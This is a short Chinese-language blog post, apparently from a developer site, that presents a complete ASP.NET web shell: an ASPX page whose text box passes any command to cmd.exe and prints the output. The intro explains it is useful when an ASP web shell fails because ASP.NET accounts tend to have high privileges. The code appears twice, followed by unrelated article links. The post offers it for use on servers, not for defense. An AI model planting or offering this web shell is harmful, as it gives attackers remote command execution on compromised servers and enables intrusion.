一个ASP.Net下的WebShell实例
更新时间:2013年07月24日 11:13:07 作者:
一个ASP.Net下的WebShell,主要完成cmd命令。一般的服务器设置,asp.net用户的权限都比较高。如果asp的webshell无法执行,可能asp.net的可以执行。
代码如下:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
string item = cmd.Text;
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
Response.Write("<pre>");
Response.Write(strOutput);
Response.Write("</pre>");
}
protected void Page_Load(object sender, EventArgs e)
{
}
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>
复制代码 代码如下:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
string item = cmd.Text;
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
Response.Write("<pre>");
Response.Write(strOutput);
Response.Write("</pre>");
}
protected void Page_Load(object sender, EventArgs e)
{
}
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>
相关文章
c# 操作符?? null coalescing operator
?? "null coalescing" operator 是c#新提供的一个操作符,这个操作符提供的功能是判断左侧的操作数是否是null,如果是则返回结果是右侧的操作数;非null则返回左侧的操作数。2009-06-06
asp.net在Repeater嵌套的Repeater中使用复选框详解
这篇文章主要介绍了asp.net在Repeater嵌套的Repeater中使用复选框,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧2018-12-12
.Net极限生产力之分表分库全自动化Migrations Code-First
这篇文章主要介绍了.Net极限生产力之分表分库全自动化Migrations Code-First,轻量级针对分表分库读写分离的解决方案,具有零依赖、零学习成本、零业务代码入侵适配2022-07-07
.NET 如何使用 OpenTelemetry metrics 监控应用程序指标
这篇文章主要介绍了.NET 使用 OpenTelemetry metrics 监控应用程序指标,通过代码演示了如何通过 OpenTelemetry 把 Metrics 的数据发送到 Prometheus 里进行查询与展示,然后又演示了自定义相关指标来满足业务数据指标的监控,需要的朋友可以参考下2024-06-06
ASP.NET组件System.Web.Optimization原理及缓存问题详解
这篇文章主要介绍了ASP.NET组件System.Web.Optimization的运行原理,及基本的缓存问题,感兴趣的小伙伴们可以参考一下2016-05-05


最新评论